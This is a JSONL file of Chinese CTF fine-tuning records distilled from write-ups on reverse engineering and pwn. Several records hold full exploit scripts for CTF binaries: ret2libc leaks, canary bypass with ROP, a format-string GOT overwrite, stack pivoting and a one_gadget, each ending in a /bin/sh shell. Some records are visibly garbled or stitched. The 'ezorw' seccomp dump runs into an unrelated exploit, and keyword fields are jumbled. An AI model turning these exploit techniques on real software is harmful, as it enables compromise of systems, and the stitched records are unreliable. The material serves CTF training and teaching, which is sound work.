{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f244e5d46c6cd9c535c4", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《花指令：原理：反汇编算法的设计缺陷》的“原理：反汇编算法的设计缺陷”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：花指令：原理：反汇编算法的设计缺陷 / 原理：反汇编算法的设计缺陷\n关键词：线性扫描算法、反汇编算法、递归下降算法、和线性扫描算法\n蒸馏要点：\n- 反汇编算法主要可以分为两类：递归下降算法和线性扫描算法。\n- 线性扫描算法p1从程序的入口点开始反汇编，然后整个代码段进行扫描，反汇编扫描过程中所遇到的每条指令。线性扫描算法的缺点在于在冯诺依曼体系下，**无法区分数据和代码，从而导致将代码段中嵌入的数据误解释为指令的操作码，一致最后得到错误的反汇编结果**。\n- 递归下降采取另外一种不同的方法来定位指令。递归下降算法强调控制流的概念。控制流根据一条指令是否被另一条指令引用来决定是否对其进行反汇编，遇到非控制转移指令时顺序进行反汇编，而遇到控制转移指令时则从转移地址处开始进行反汇编。通过构造**必然条件**或者**互补条件**，使得反汇编出错。\n可用于训练的标准回答：\n## 原理：反汇编算法的设计缺陷\n\n反汇编算法主要可以分为两类：递归下降算法和线性扫描算法。\n\n1. 线性扫描算法\n\n   线性扫描算法p1从程序的入口点开始反汇编，然后整个代码段进行扫描，反汇编扫描过程中所遇到的每条指令。线性扫描算法的缺点在于在冯诺依曼体系下，**无法区分数据和代码，从而导致将代码段中嵌入的数据误解释为指令的操作码，一致最后得到错误的反汇编结果**。\n\n2. 递归下降\n\n   递归下降采取另外一种不同的方法来定位指令。递归下降算法强调控制流的概念。控制流根据一条指令是否被另一条指令引用来决定是否对其进行反汇编，遇到非控制转移指令时顺序进行反汇编，而遇到控制转移指令时则从转移地址处开始进行反汇编。通过构造**必然条件**或者**互补条件**，使得反汇编出错。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::edf24be6a47d5557", "original_line": 736, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "原理：反汇编算法的设计缺陷", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "edf24be6a47d5557", "source_split": "train", "split": "train", "split_group_key": "c4d425955a25c745d4abf9f1", "tags": ["reverse"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f25a41fe3e44eb5e1861", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“fmt”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. `main`函数的`read`并不存在溢出，但是`main`调用了`magic`函数，跟进查看。\n2. 一眼丁真，`magic`函数存在一字节溢出和格式化字符串漏洞。\n3. 并且我们在函数窗口发现了`shell`函数。\n4. `shell`函数存在后门函数。\n5. 程序存在`canary`保护，但是没有`Full RELRO`保护所以`got`表是可写的。\n6. 我们可以通过格式化字符串漏洞进行任意地址写，修改`___stack_chk_fail`函数的`got`表为`shell`函数地址。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::6ef04bd0475826bb", "original_line": 1053, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "fmt", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "6ef04bd0475826bb", "source_split": "train", "split": "train", "split_group_key": "1b1f502232eb8cbd9780cdce", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f2f2bbdca92661a02b7f", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "请将《Hash 类算法》蒸馏成模型训练用的知识卡片，要求覆盖主题、知识结构、关键术语和核心要点。", "role": "user"}, {"content": "主题：Hash 类算法\n领域标签：reverse, crypto, ctf-method\n知识结构：简介 -> MD5 -> SHA1 -> SHA256 -> 算法分析 -> 网站查询 -> 脚本爆破 -> hashcat -> [SUCTF 2018 招新赛]hash -> 2024极客大挑战 blastingmaster\n关键术语：MD5、md5、openssl、sub_13E2、v18、encrypt、dec、findcrypt、data3、v3、digest、input、SHA1、hashlib、SUCTF、range\n核心要点：\n- Hash 类算法是一种摘要算法，摘要结果是不可逆的。所以一般在逆向中我们通常碰到 Hash 算法要通过它给出的一些信息来进行碰撞爆破。\n- 下面我们首先了解一下常见的 Hash 算法。\n- MD5（Message-Digest Algorithm 5）是信息学中使用广泛的哈希算法\n- 这个算法具有很多性质：\n- 压缩性：对于任意长度的输入，输出长度总是相同的\n- 抗修改性：对原数据的一点点修改都会导致最终结果的最大变化。\n- 抗碰撞性：已知原数据和 MD5 值很难生成与原数据不同但 MD5 值相同的数据。\n- 可以理解为：生成任意一段数据的 “数字指纹”，对文件或数据的微小改动都会之间导致数字指纹的巨大变化。\n- Hash 算法常见一般有两种形式的调用：\n- 在`openssl`源码的函数实现中，可以在靠近开头的位置看到四个固定常量。", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::f9de81d6e8900915", "original_line": 94, "original_split": "validation", "record_family": "sft_chatml", "record_type": "article_knowledge_card", "section": "article_overview", "source": "Hash 类算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "f9de81d6e8900915", "source_split": "validation", "split": "train", "split_group_key": "3a70257900cf3dd56a8edb51", "tags": ["reverse", "crypto", "ctf-method"], "title": "Hash 类算法", "type": "article_knowledge_card"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f45009917c3c92a6deb1", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“jarvisojlevel3”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / jarvisojlevel3\n关键词：p32、elf、libc、ELF、payload、sym、addr、off、base、bin\n可用于训练的标准回答：\n### jarvisojlevel3\n\n- exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\nfrom LibcSearcher import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\noff=140\npayload=b'a'*off+p32(elf.plt.write)+p32(elf.sym.main)+p32(1)+p32(elf.got[\"__libc_start_main\"])+p32(4)\nr()\nsl(payload)\naddr=u32(ru(b'\\xf7')[-4:])\nprint(\"addr\",hex(addr))\nlibc=ELF(\"/buu/32/libc-2.23.so\")\nbase=addr-libc.sym.__libc_start_main\nsh=base+next(libc.search(\"/bin/sh\\x00\"))\nsys=base+libc.sym.system\npayload=b'a'*off+p32(sys)+p32(elf.sym.main)+p32(sh)\nr()\ns(payload)\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::ddbaab46a129dbbb", "original_line": 1070, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "jarvisojlevel3", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "ddbaab46a129dbbb", "source_split": "train", "split": "train", "split_group_key": "47c49194252606b2f9985d32", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f58bab661b71ca7e033b", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“onEqual”？请用《2025强网杯 Qclac》中的内容回答。", "role": "user"}, {"content": "1. 这部分代码默认 jadx 不会反编译出来，但是选择反编译设置中的显示不一致的代码后就可以成功显示。\n2. 这个函数表面是计算器的等号逻辑，但它实际上隐藏了非常异常的逻辑：intent代理、bridge activity 跳转、signature 校验字段。\n3. MainActivity 可以接收一个名叫 fallback 的 intent。通过 EXTRA 携带，`getParcelableExtra`用于从 intent 中取出 Parcelable 类型的对象。\n4. 随后判断 fallback 是否存在，如果存在则：\n5. 打印攻击者控制的数据：\n6. 设置 FLAG_ACTIVITY_NEW_TASK", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["crypto", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::8b9579a987ca5e05", "original_line": 30, "original_split": "test", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "onEqual", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "8b9579a987ca5e05", "source_split": "test", "split": "train", "split_group_key": "dc6629a198c3aadebecc9cc3", "tags": ["crypto", "ctf-method"], "title": "2025强网杯 Qclac", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f5d650d79df52a7a6ca8", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[MoeCTF 2022]rop64”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[MoeCTF 2022]rop64”。\n语言/类型：python\n关联知识点：\n- 覆盖canary最后一位通过printf泄露出canary。\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nsh=0x00404058\nsys=elf.plt.system\n\nrdi=0x00000000004011de\nr()\ns(b\"a\"*40+b\"b\")\n\nru(b\"b\")\ncanary=u64(b\"\\x00\"+r(7))\nsuccess(hex(canary))\n\npayload=b\"a\"*40+p64(canary)+b\"a\"*8+p64(rdi)+p64(sh)+p64(0x0000000000401284)\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::53fdbb4159b8cd27", "original_line": 866, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[MoeCTF 2022]rop64", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "53fdbb4159b8cd27", "source_split": "train", "split": "train", "split_group_key": "cc5f15d18fdf8cf1b540c04a", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f5eb52854add5f2029f4", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“CheckRemoteDebuggerPresent”？请用《反调试》中的内容回答。", "role": "user"}, {"content": "1. `CheckRemoteDebuggerPresent`函数跟`IsDebuggerPresent`差不多。不同的是它不仅可以探测系统其他进程是否被调试，通过传递自身进程句柄还可以探测自身是否被调试。\n2. 如果`hProcess`句柄表示的进程处于调试上下文，则`pbDebuggerPresent`被置为`True`，否则被置为`False`。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::21e3d08e0d07213f", "original_line": 663, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "CheckRemoteDebuggerPresent", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "21e3d08e0d07213f", "source_split": "train", "split": "train", "split_group_key": "49acee786a464cf2844ce9cf", "tags": ["reverse"], "title": "反调试", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f68ec527c3213a808144", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“VM虚拟机的结构”？请用《VM 指令虚拟化》中的内容回答。", "role": "user"}, {"content": "1. 虚拟机的主程序其实就是一个循环，这个循环不断的去读取指令（伪机器码opcode），然后执行指令 opcode 所对应的一些函数，这样下来就可以与真实的程序执行相差无几。\n2. 通常，一个虚拟机会包含以下几个主要组件：\n3. `vm_init`：对虚拟机的环境进行初始化；\n4. `dispatcher`：指令分发器，用于解释`opcode`，取指并分发，也就是读取opcode并根据opcode选择对应的 “伪指令” 进行执行，执行完一条之后会重新回到这里，读取接下来的opcode再次取指并分发。\n5. 程序中还会存在opcode以及模拟的栈，寄存器等。\n6. 不同的虚拟机设计思路不同（一般有两种类型：一种是类似常规x86架构的，另一种是类似python的基于栈的虚拟机）", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::dc45a230f357d563", "original_line": 853, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "VM虚拟机的结构", "source": "VM 指令虚拟化.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "dc45a230f357d563", "source_split": "train", "split": "train", "split_group_key": "23bb8afc0494aee99cacf3b1", "tags": ["pwn", "reverse"], "title": "VM 指令虚拟化", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f6a63d9fad1b9b708a16", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[SWPUCTF 2022 新生赛]InfoPrinter”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [SWPUCTF 2022 新生赛]InfoPrinter\n关键词：elf、gift、ELF、puts_addr、rand_num、另外一种解法\n泄露内存地址值、bin、import、libc、puts\n可用于训练的标准回答：\n### [SWPUCTF 2022 新生赛]InfoPrinter\n\n#A #格式化字符串 #GOT劫持\n\nexp\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\nfrom LibcSearcher import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nru(\"key \")\nputs_addr=int(r(14),16)\nr()\nprint(hex(puts_addr))\nlibc=LibcSearcher(\"puts\",puts_addr)\nbase=puts_addr-libc.dump(\"puts\")\nsys=libc.dump(\"system\")+base\n#修改的函数的参数地址\nsh=0x403878\nfmtpay=fmtstr_payload(6,{elf.got.puts:sys,sh:\"/bin/sh\\x00\"})\n\nsl(fmtpay)\n\nia()\n```\n\n另外一种解法\n泄露内存地址值\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\npayload = b'%12$saaa'+p32(0x0804c044)\ns(payload)\nru(\"Hello,\")\n\nrand_num = u32(r(4))\nprint(\"rand_num:\",hex(rand_num))\ns(str(rand_num))\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::41086e37256a80bc", "original_line": 65, "original_split": "validation", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[SWPUCTF 2022 新生赛]InfoPrinter", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "41086e37256a80bc", "source_split": "validation", "split": "train", "split_group_key": "d61939c28e5e2295b98b2ccc", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f6b609a86988543770d5", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[NISACTF 2022\\]ezstack”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[NISACTF 2022\\]ezstack”。\n语言/类型：python\n关联知识点：\n- 32位，利用plt表函数和/bin/sh构造栈\n代码片段：\n```python\nfrom pwn import *\n\nio=process(\"./pwn\")\nsys=0x8048512\nsh=0x804a024\n#payload=b'a'*(72+4)+p32(sys)+p32(0)+p32(sh)\npayload=b'a'*(72+4)+p32(sys)+p32(sh)\nio.sendline(payload)\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::c5d3192b4fc8fc7d", "original_line": 1069, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[NISACTF 2022\\]ezstack", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "c5d3192b4fc8fc7d", "source_split": "train", "split": "train", "split_group_key": "0e81e106e8523276ab3ecc51", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f6f18b85e00ac7e7fa4d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“ezorw”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“ezorw”。\n关联知识点：\n- 禁止了`read、write、open、readv、writev、execveat`等系统调用。\n- 常规的 orw 并不奏效，但是我们可以通过相似系统调用来绕过沙箱。\n代码片段：\n```\nline  CODE  JT   JF      K\n=================================\n 0000: 0x20 0x00 0x00 0x00000004  A = arch\n 0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 0013\n 0002: 0x20 0x00 0x00 0x00000000  A = sys_number\n 0003: 0x35 0x00 0x01 0x40000000  if (A  0x%x' % (s, num))\n\nelf = ELF('pwn')\nio = process([elf.path])\nlibc=ELF(\"./libc-2.31.so\")\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\npayload=b\"%13$p%15$p\".ljust(0x28,b\"a\")+p64(0x4010b0)\ns(payload)\nru(\"welcome to YLCTF\\n\")\nlibc.address=int(r(14),16)-0x024083\nstack=int(r(14),16)-0x120\n\nlg(\"base:\",libc.address)\nlg(\"stack:\",stack)\n\ngetshell=libc.address+0xe3b01\n\"\"\"\n0xe3b04 execve(\"/bin/sh\", rsi, rdx)\nconstraints:\n  [rsi] == NULL || rsi == NULL || rsi is a valid argv\n  [rdx] == NULL || rdx == NULL || rdx is a valid envp\n\"\"\"\npayload=b\"a\"*0x28+p64(getshell)\n\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::09e23339f7cedb2b", "original_line": 78, "original_split": "validation", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "ezorw", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "09e23339f7cedb2b", "source_split": "validation", "split": "train", "split_group_key": "d9c8eedc93cc1da87fbcad68", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f72600735215c875b58f", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Angr：Angr符号执行》的“给寄存器赋值一个具体值 123”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Angr：Angr符号执行 / 给寄存器赋值一个具体值 123\n关键词：state、BVS、address、size_in_bytes、当然也可以使用、​ 创建符号值，、​ 创建具体值。\n\n通过寄存器名的字符串读取寄存器、python\n state.regs.get('reg_name')、通过寄存器名的字符串修改寄存器、py\nsetattr(state.regs, 'reg_name', value)\n蒸馏要点：\n- state.regs.rdi = 123\n- state.regs.get('reg_name')\n- setattr(state.regs, 'reg_name', value)\n- address = 0x401234\n- size_in_bytes = 16\n- state.memory.store(address, state.solver.BVS('mem', 8 * size_in_bytes))\n- data = state.memory.load(address, size_in_bytes)\n可用于训练的标准回答：\n# 给寄存器赋值一个具体值 123\n\nstate.regs.rdi = 123\n```\n\n当然也可以使用 `claripy.BVS`​ 创建符号值，`claripy.BVV`​ 创建具体值。\n\n通过寄存器名的字符串读取寄存器\n\n```python\n state.regs.get('reg_name')\n```\n\n通过寄存器名的字符串修改寄存器\n\n```py\nsetattr(state.regs, 'reg_name', value)\n```\n\n访问 state 内存：\n\n在 angr 中，每一个 state 的内存状态是独立的，就像每个程序点都有一份内存快照一样。当 state 符号执行，创建新 state 的时候，新 state 的内存首先从原 state 复制一份，根据指令语义进行内存修改。这与传统的动态执行不一样，传统动态执行的内存是全局的。\n\n`state.memory`​ 是访问 state 内存的主要接口。\n\n修改内存\n\n```py\naddress = 0x401234\nsize_in_bytes = 16\nstate.memory.store(address, state.solver.BVS('mem', 8 * size_in_bytes))\n```\n\n读取内存\n\n```py\naddress = 0x401234\nsize_in_bytes = 16\ndata = state.memory.load(address, size_in_bytes)\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::a5bc525d46cbb4d3", "original_line": 72, "original_split": "validation", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "给寄存器赋值一个具体值 123", "source": "Angr.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "a5bc525d46cbb4d3", "source_split": "validation", "split": "train", "split_group_key": "d4f045ece8b8c02b470f8a9f", "tags": ["reverse"], "title": "Angr：Angr符号执行", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f7ba9e4e504fcac30323", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Hash 类算法》中“MD5”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Hash 类算法》的“MD5”。\n语言/类型：c\n关联知识点：\n- MD5（Message-Digest Algorithm 5）是信息学中使用广泛的哈希算法\n- 这个算法具有很多性质：\n- 压缩性：对于任意长度的输入，输出长度总是相同的\n- 抗修改性：对原数据的一点点修改都会导致最终结果的最大变化。\n- 抗碰撞性：已知原数据和 MD5 值很难生成与原数据不同但 MD5 值相同的数据。\n代码片段：\n```c\nuint8_t digest[16];\nuint8_t input[]=\"xxxxxx\";\n\nMD5_hash(input,sizeof(input)-1,digest);\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::e840c7a3a53c0ad7", "original_line": 679, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "MD5", "source": "Hash 类算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "e840c7a3a53c0ad7", "source_split": "train", "split": "train", "split_group_key": "7b65d5f95656b551cc5dbac8", "tags": ["crypto"], "title": "Hash 类算法", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f7cc92f38193e7245bdc", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[HDCTF 2023]KEEP ON”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [HDCTF 2023]KEEP ON\n关键词：p64、payload、elf、leak_ebp、target、HDCTF、KEEP、bin、gift、format\n可用于训练的标准回答：\n### [HDCTF 2023]KEEP ON\n\n#格式化字符串 #栈迁移\nexp\n```python\n#!/usr/bin/python3\nfrom pwncli import *\n\ncli_script()\nio=gift[\"io\"]\nelf=gift[\"elf\"]\n\nformat=b\"%16$p\"\nsa(b\"name: \\n\",format)\nru(b\"hello,\")\nleak_ebp=int(r(14),16)\nsuccess(hex(leak_ebp))\n\ntarget=leak_ebp-0x60-8\nleave=0x4007f2\nrdi=0x00000000004008d3\nsys=elf.plt.system\nsh=target+32\npayload=p64(rdi)+p64(sh)+p64(sys)+b\"/bin/sh\\x00\"\npayload=payload.ljust(80,b\"a\")+p64(target)+p64(leave)\n\nsa(\"keep on !\\n\",payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": 